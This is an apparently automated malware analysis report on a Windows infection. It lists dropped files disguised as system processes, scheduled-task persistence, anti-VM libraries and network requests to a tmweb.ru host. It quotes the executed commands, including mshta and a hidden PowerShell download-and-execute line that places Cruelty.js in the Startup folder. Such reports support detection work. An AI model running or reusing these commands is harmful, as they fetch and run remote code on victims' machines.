Technical Information
To ensure autorun and distribution
Creates or modifies the following files
- %APPDATA%\microsoft\windows\start menu\programs\startup\cruelty.js
- %APPDATA%\microsoft\windows\start menu\programs\startup\system.lnk
- <SYSTEM32>\tasks\e34907c4fd2c9f641cf0e32874acac87
- <SYSTEM32>\tasks\yxq0xjp4
- <SYSTEM32>\tasks\wiqm3tnu
- <SYSTEM32>\tasks\neetqo3n
- <SYSTEM32>\tasks\llim2cnm
- <SYSTEM32>\tasks\a2zck15x
- <SYSTEM32>\tasks\4w3tijyu
- <SYSTEM32>\tasks\kzal0dgu
- <SYSTEM32>\tasks\a1gkt5qz
- <SYSTEM32>\tasks\hk3uspau
- <SYSTEM32>\tasks\4obza4cw
Malicious functions
Downloads and executes files.
Executes the following (exploit)
- '%WINDIR%\syswow64\cmd.exe' /c mshta http://cn####8.tmweb.ru/blue26.hta
- '<SYSTEM32>\wscript.exe' "%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\Cruelty.js"
Modifies file system
Creates the following files
- %APPDATA%\test.exe
- C:\totalcmd\language\csc60df.tmp
- %TEMP%\ovi1sjiz.out
- %TEMP%\ovi1sjiz.cmdline
- %TEMP%\ovi1sjiz.0.cs
- %ProgramFiles%\npavtray\wudfhost.exe
- %TEMP%\res5b81.tmp
- %TEMP%\res60e0.tmp
- %ProgramFiles%\npavtray\csc5b80.tmp
- %TEMP%\xdcut1yq.cmdline
- %TEMP%\xdcut1yq.0.cs
- %TEMP%\xpollupn.out
- %TEMP%\xpollupn.cmdline
- %TEMP%\xpollupn.0.cs
- %HOMEPATH%\recent\system.exe
- %TEMP%\xdcut1yq.out
- %TEMP%\rqz3vhg4.out
- %TEMP%\res708f.tmp
- %TEMP%\nbzv5eez.cmdline
- C:\far2\addons\setup\csc708e.tmp
- %TEMP%\mc55suc2.out
- %TEMP%\mc55suc2.cmdline
- %TEMP%\mc55suc2.0.cs
- <Current directory>\svchost.exe
- %TEMP%\res6bad.tmp
- %TEMP%\res5268.tmp
- <Current directory>\csc6b9d.tmp
- %TEMP%\rqz3vhg4.cmdline
- %TEMP%\rqz3vhg4.0.cs
- C:\recovery\1195d5a8-f371-11e4-9c00-dd3082671db2\csrss.exe
- %TEMP%\res669c.tmp
- C:\recovery\1195d5a8-f371-11e4-9c00-dd3082671db2\csc669b.tmp
- %TEMP%\nbzv5eez.out
- C:\totalcmd\language\svchost.exe
- %TEMP%\nbzv5eez.0.cs
- %HOMEPATH%\recent\csc5267.tmp
- %TEMP%\vqtawa1g.0.cs
- %TEMP%\dclib\fw1400ed0ee6a34b0b561cf386c29735441144b544.dclib
- %TEMP%\dclib\antivm.dclib
- %TEMP%\dclib\al6cf54c5afe698333513f91b6a461a8fe412e5694.dclib
- %APPDATA%\windows\system.lnk
- %APPDATA%\windows\system.vbe
- %APPDATA%\windows\win.exe
- C:\perflogs\admin\04t2yvs0\win.exe
- %APPDATA%\windows\vmcheck32.dll
- %APPDATA%\windows\dclib\fw1400ed0ee6a34b0b561cf386c29735441144b544.dclib
- %APPDATA%\windows\dclib\antivm.dclib
- %APPDATA%\windows\dclib\al6cf54c5afe698333513f91b6a461a8fe412e5694.dclib
- %APPDATA%\windows\ykf3fucrtmjajnj2vpfjjhslntgkon.bat
- %APPDATA%\windows\mlpi9mkdzgqevbpwj4jccu3ozakcm7.vbs
- %APPDATA%\windows\gqoz8cucjnpdaryt6wll.exe
- %APPDATA%\windows\c83sauttyw95kev4p9ukfca1xct1oy.bat
- %TEMP%\5sc1ngjz.out
- %TEMP%\biagcnjm.cmdline
- %TEMP%\vqtawa1g.cmdline
- %TEMP%\biagcnjm.0.cs
- %TEMP%\tk1zvugi.out
- %TEMP%\tk1zvugi.cmdline
- %TEMP%\tk1zvugi.0.cs
- C:\far2\encyclopedia\tap\firefox.exe
- %TEMP%\res4a89.tmp
- %TEMP%\biagcnjm.out
- C:\far2\encyclopedia\tap\csc4a88.tmp
- %TEMP%\5sc1ngjz.cmdline
- %TEMP%\5sc1ngjz.0.cs
- %ProgramFiles(x86)%\windows photo viewer\en-us\iexplore.exe
- %TEMP%\res4345.tmp
- %ProgramFiles(x86)%\windows photo viewer\en-us\csc4344.tmp
- %TEMP%\vqtawa1g.out
- C:\perflogs\admin\04t2yvs0\vmcheck32.dll
- C:\far2\addons\setup\svchost.exe
Deletes the following files
- %TEMP%\res4345.tmp
- %TEMP%\res60e0.tmp
- C:\totalcmd\language\csc60df.tmp
- %TEMP%\ovi1sjiz.out
- %TEMP%\ovi1sjiz.cmdline
- %TEMP%\ovi1sjiz.0.cs
- %TEMP%\res669c.tmp
- C:\recovery\1195d5a8-f371-11e4-9c00-dd3082671db2\csc669b.tmp
- %TEMP%\nbzv5eez.cmdline
- %TEMP%\tk1zvugi.0.cs
- %TEMP%\nbzv5eez.out
- %TEMP%\res6bad.tmp
- <Current directory>\csc6b9d.tmp
- %TEMP%\rqz3vhg4.cmdline
- %TEMP%\rqz3vhg4.0.cs
- %TEMP%\rqz3vhg4.out
- %TEMP%\res708f.tmp
- C:\far2\addons\setup\csc708e.tmp
- %TEMP%\mc55suc2.cmdline
- %TEMP%\xdcut1yq.0.cs
- %TEMP%\xdcut1yq.out
- %TEMP%\xdcut1yq.cmdline
- %ProgramFiles%\npavtray\csc5b80.tmp
- %TEMP%\res5b81.tmp
- %TEMP%\vqtawa1g.0.cs
- %TEMP%\vqtawa1g.out
- %TEMP%\vqtawa1g.cmdline
- %TEMP%\res4a89.tmp
- C:\far2\encyclopedia\tap\csc4a88.tmp
- %TEMP%\5sc1ngjz.out
- %TEMP%\5sc1ngjz.cmdline
- %TEMP%\5sc1ngjz.0.cs
- %TEMP%\mc55suc2.0.cs
- %TEMP%\nbzv5eez.0.cs
- %TEMP%\tk1zvugi.cmdline
- %TEMP%\res5268.tmp
- %HOMEPATH%\recent\csc5267.tmp
- %TEMP%\biagcnjm.out
- %TEMP%\biagcnjm.0.cs
- %TEMP%\biagcnjm.cmdline
- %TEMP%\xpollupn.cmdline
- %TEMP%\xpollupn.out
- %TEMP%\xpollupn.0.cs
- %ProgramFiles(x86)%\windows photo viewer\en-us\csc4344.tmp
- %TEMP%\tk1zvugi.out
- %TEMP%\mc55suc2.out
Network activity
TCP
HTTP GET requests
- http://cn####8.tmweb.ru/blue26.hta
- http://cn####8.tmweb.ru/Cruelty.js
- http://cn####8.tmweb.ru/windows.exe
- http://cn####8.tmweb.ru/vz7wkt1vnmaj4j9yy4a51gcnbp4iu4hdbk6ui0350zxtml3/sflqvsoeiijvo0mo9eu7wz8j6z006fmyrajlcsbci63s8h3pfrkc0q2w6okvq8kqg4n270279/5fe116131d16a8b064272791e782c5d5363db826.php?03...
- http://cn####8.tmweb.ru/vz7wkt1vnmaj4j9yy4a51gcnbp4iu4hdbk6ui0350zxtml3/sflqvsoeiijvo0mo9eu7wz8j6z006fmyrajlcsbci63s8h3pfrkc0q2w6okvq8kqg4n270279/5fe116131d16a8b064272791e782c5d5363db826.php?54...
- http://cn####8.tmweb.ru/vz7wkt1vnmaj4j9yy4a51gcnbp4iu4hdbk6ui0350zxtml3/sflqvsoeiijvo0mo9eu7wz8j6z006fmyrajlcsbci63s8h3pfrkc0q2w6okvq8kqg4n270279/zgo6qt/6e43f762cba4b86bc0c491b86ddeed9e.php?1e#...
- http://ip##fo.io/ip
UDP
- DNS ASK cn####8.tmweb.ru
- DNS ASK ip##fo.io
Miscellaneous
Searches for the following windows
- ClassName: 'EDIT' WindowName: ''
Creates and executes the following
- 'C:\far2\addons\setup\svchost.exe'
- '%APPDATA%\windows\win.exe'
- 'C:\totalcmd\language\svchost.exe'
- 'C:\far2\encyclopedia\tap\firefox.exe'
- '%ProgramFiles(x86)%\windows photo viewer\en-us\iexplore.exe'
- '%ProgramFiles%\npavtray\wudfhost.exe'
- '%HOMEPATH%\recent\system.exe'
- 'C:\recovery\1195d5a8-f371-11e4-9c00-dd3082671db2\csrss.exe'
- '%WINDIR%\syswow64\wscript.exe' "%APPDATA%\windows\System.vbe"
- '%APPDATA%\windows\gqoz8cucjnpdaryt6wll.exe' -pfe269a32d6ea191305070eac6a20af987ddbebea
- '<Current directory>\svchost.exe'
- '%APPDATA%\test.exe'
- '%WINDIR%\syswow64\wscript.exe' "%APPDATA%\windows\MLPi9MKdzgQeVBPWJ4jCCU3oZaKCM7.vbs"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES5268.tmp" "%HOMEPATH%\Recent\CSC5267.tmp"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\rqz3vhg4.cmdline"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES669C.tmp" "c:\Recovery\1195d5a8-f371-11e4-9c00-dd3082671db2\CSC669B.tmp"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\nbzv5eez.cmdline"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES60E0.tmp" "c:\totalcmd\LANGUAGE\CSC60DF.tmp"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\xdcut1yq.cmdline"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\mc55suc2.cmdline"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES6BAD.tmp" "<Current directory>\CSC6B9D.tmp"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES5B81.tmp" "%ProgramFiles%\npavtray\CSC5B80.tmp"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\ovi1sjiz.cmdline"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\vqtawa1g.cmdline"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\tk1zvugi.cmdline"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES4A89.tmp" "c:\Far2\Encyclopedia\tap\CSC4A88.tmp"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\5sc1ngjz.cmdline"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES4345.tmp" "%ProgramFiles(x86)%\Windows Photo Viewer\en-US\CSC4344.tmp"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\xpollupn.cmdline"' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /c ""%APPDATA%\windows\C83sAUTTyw95KEv4p9UKFcA1xcT1oY.bat" "' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /c ""%APPDATA%\windows\yKf3FUCrtmjaJNJ2VpFJjHsLntgKoN.bat" "' (with hidden window)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -ExecutionPolicy Bypass -windowstyle hidden -command try{$down = New-Object System.Net.WebClient;$url = 'HTTP:/'+'/'+'cn23428.tmweb.ru/Cruelty.js';$file = $env:appdata + '\Microsoft\Windows\Sta...' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\biagcnjm.cmdline"' (with hidden window)
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES708F.tmp" "c:\Far2\Addons\SetUp\CSC708E.tmp"' (with hidden window)
- '%WINDIR%\syswow64\cmd.exe' /c mshta http://cn####8.tmweb.ru/blue26.hta' (with hidden window)
Executes the following
- '%CommonProgramFiles%\microsoft shared\equation\eqnedt32.exe' -Embedding
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES6BAD.tmp" "<Current directory>\CSC6B9D.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\rqz3vhg4.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES669C.tmp" "c:\Recovery\1195d5a8-f371-11e4-9c00-dd3082671db2\CSC669B.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\nbzv5eez.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES60E0.tmp" "c:\totalcmd\LANGUAGE\CSC60DF.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\ovi1sjiz.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES5B81.tmp" "%ProgramFiles%\npavtray\CSC5B80.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\xdcut1yq.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\xpollupn.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES5268.tmp" "%HOMEPATH%\Recent\CSC5267.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\biagcnjm.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\tk1zvugi.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES4A89.tmp" "c:\Far2\Encyclopedia\tap\CSC4A88.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\5sc1ngjz.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES4345.tmp" "%ProgramFiles(x86)%\Windows Photo Viewer\en-US\CSC4344.tmp"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\vqtawa1g.cmdline"
- '%WINDIR%\syswow64\cmd.exe' /c ""%APPDATA%\windows\C83sAUTTyw95KEv4p9UKFcA1xcT1oY.bat" "
- '%WINDIR%\syswow64\cmd.exe' /c ""%APPDATA%\windows\yKf3FUCrtmjaJNJ2VpFJjHsLntgKoN.bat" "
- '%WINDIR%\syswow64\mshta.exe' http://cn####8.tmweb.ru/blue26.hta
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\csc.exe' /noconfig /fullpaths @"%TEMP%\mc55suc2.cmdline"
- '%WINDIR%\microsoft.net\framework64\v2.0.50727\cvtres.exe' /NOLOGO /READONLY /MACHINE:IX86 "/OUT:%TEMP%\RES708F.tmp" "c:\Far2\Addons\SetUp\CSC708E.tmp"
